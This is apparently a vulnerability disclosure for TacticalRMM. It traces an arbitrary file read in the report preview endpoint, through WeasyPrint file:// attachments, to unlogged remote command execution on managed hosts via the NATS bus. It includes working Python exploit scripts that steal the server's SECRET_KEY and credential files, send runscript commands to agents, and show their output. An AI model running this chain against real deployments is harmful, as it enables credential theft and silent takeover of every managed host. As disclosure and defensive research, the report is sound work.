TacticalRMM Vulnerability Report
Software: TacticalRMM
Developer or vendor: AmidaWare
Code repository: https://github.com/amidaware/tacticalrmm
1. Arbitrary File Read in Report Preview Leading to Remote Code Execution on Managed Hosts
Brief description: An account with report management permission can read arbitrary files on the server through the report preview endpoint, and then use the NATS bus password read from disk to send commands to every managed host.
Affected versions: 0.17.0 to 1.6.1
Preconditions: The attacker holds an account with report management permission.
Root Cause
The report preview endpoint POST /reporting/templates/preview/ takes the template_md submitted by the user, renders it to HTML and hands the result to WeasyPrint for PDF generation:
# api/tacticalrmm/ee/reporting/views.py:225-245 commit 93d149fcda
def post(self, request: Request) -> Union[FileResponse, Response]:
try:
serializer = self.InputSerializer(data=request.data)
serializer.is_valid(raise_exception=True)
report_data = serializer.validated_data
html_report, variables = generate_html(
template=report_data["template_md"],
template_type=report_data["type"],
css=report_data.get("template_css", ""),
html_template=report_data.get("template_html"),
variables=report_data["template_variables"],
dependencies=report_data["dependencies"],
user=request.user,
)
if report_data["debug"]:
return self._process_debug_response(html_report, variables)
return self._generate_response_based_on_format(
html_report, report_data["format"]
)
# api/tacticalrmm/ee/reporting/utils.py:110-117 commit 93d149fcda
def generate_pdf(*, html: str, css: str = "") -> bytes:
font_config = FontConfiguration()
pdf_bytes: bytes = HTML(string=html).write_pdf(
stylesheets=[CSS(string=css, font_config=font_config)], font_config=font_config
)
return pdf_bytes
WeasyPrint resolves <link rel="attachment"> and embeds the resource referenced by the href into the PDF as an attachment. A file:// path in the template therefore reads a local file on the server. The generated PDF is returned to the attacker through FileResponse, so the attacker gains arbitrary file read.
The next step is remote code execution on managed hosts. /opt/tactical/api/nats-rmm.conf on the TacticalRMM server holds the NATS bus configuration, and the TRMM account password reuses Django’s SECRET_KEY:
# api/tacticalrmm/tacticalrmm/utils.py:227-236 commit 93d149fcda
accounts = {
"TRMM": {
"users": [
{
"user": "tacticalrmm",
"password": settings.SECRET_KEY,
"permissions": {"publish": ">", "subscribe": ">"},
}
],
"mappings": {"*": "cmd.{{wildcard(1)}}"},
"exports": [{"stream": "cmd.*"}],
The SECRET_KEY can be read from /opt/tactical/api/tacticalrmm/local_settings.py.
nginx proxies /natsws to the NATS websocket port:
# docker/containers/tactical-nginx/entrypoint.sh:122-124 commit 93d149fcda
location ~ ^/natsws {
set $natswebsocket http://${NATS_SERVICE}:9235;
proxy_pass $natswebsocket;
An attacker who reads SECRET_KEY can use it as the password to connect to wss://<API_HOST>/natsws as tacticalrmm, and publish runscript to any agent_id. The bus delivers the message to the agent without going through Django, so there is no permission check, and neither AgentHistory nor AuditLog records the command.
Reproduction Environment
The lab uses the official compose deployment:
git clone https://github.com/amidaware/tacticalrmm
cd tacticalrmm/docker
cp .env.example .env
# fill in APP_HOST, API_HOST, MESH_HOST as well as TRMM_USER and TRMM_PASS
docker compose up -d
Once the environment is up, create a client and a site, create a role with only can_manage_reports checked and assign it to the demo account, then install an agent on a host. The reproduction was done on 1.6.1, with the agent built from rmmagent 2.12.0 source and running in a container.
Reproduction
Sign in with the demo account. The account sees no client and no agent:

Call the report preview endpoint and extract the PDF attachment:
import io
import json
import re
import httpx
from pypdf import PdfReader
API = "https://api.trmm.example.com"
token = httpx.post(f"{API}/v2/checkcreds/",
json={"username": "reporter", "password": "Reporter12345."},
verify=False).json()["token"]
def read_file(path):
html = f'<html><body><link rel="attachment" href="file://{path}"></body></html>'
resp = httpx.post(f"{API}/reporting/templates/preview/",
headers={"Authorization": f"Token {token}"},
json={"template_md": html, "type": "html",
"template_variables": "{}", "dependencies": {},
"format": "pdf"},
verify=False, timeout=60)
attachment = list(PdfReader(io.BytesIO(resp.content)).attachments.values())[0]
return attachment if isinstance(attachment, bytes) else b"".join(attachment)
settings = read_file("/opt/tactical/api/tacticalrmm/local_settings.py").decode()
print("SECRET_KEY =", re.search(r"SECRET_KEY = '([^']+)'", settings).group(1))
conf = json.loads(read_file("/opt/tactical/api/nats-rmm.conf"))
trmm = conf["accounts"]["TRMM"]
print("bus account:", trmm["users"][0]["user"])
print("permissions:", trmm["users"][0]["permissions"])
print("mappings :", trmm["mappings"])
print("agents :", [u["user"] for u in conf["accounts"]["AGENTS"]["users"]])
The output is:
SECRET_KEY = Orj4XyFLsFMBrQqgOQYzBxj32qSlabB9rwdXJ1RLWbCndQuWeOoYVtCVwews7lgRYHcC85G3g3fzUDCw
bus account: tacticalrmm
permissions: {'publish': '>', 'subscribe': '>'}
mappings : {'*': 'cmd.{{wildcard(1)}}'}
agents : ['cbb7c8f580634ed29588d66bd48233dc']
Next, connect to the bus and send a command to that host:
import asyncio
import ssl
import msgpack
import nats
SECRET_KEY = "Orj4XyFLsFMBrQqgOQYzBxj32qSlabB9rwdXJ1RLWbCndQuWeOoYVtCVwews7lgRYHcC85G3g3fzUDCw"
AGENTS = ["cbb7c8f580634ed29588d66bd48233dc"]
CODE = "#!/bin/bash\nid\nhostname\n"
async def main():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
nc = await nats.connect("wss://api.trmm.example.com/natsws",
user="tacticalrmm", password=SECRET_KEY,
tls=ctx, allow_reconnect=False)
for agent_id in AGENTS:
msg = {"func": "runscript",
"payload": {"code": CODE, "shell": "bash"},
"timeout": 20, "script_args": [], "env_vars": [], "id": 0}
reply = await nc.request(agent_id, msgpack.dumps(msg), timeout=20)
print(reply.data[3:].decode(errors="replace"))
await nc.close()
asyncio.run(main())
The command runs on the managed host and returns:
uid=1000 gid=1000 groups=1000
debian
The command is sent directly over the bus, so from the admin view the History page of that agent holds no record:
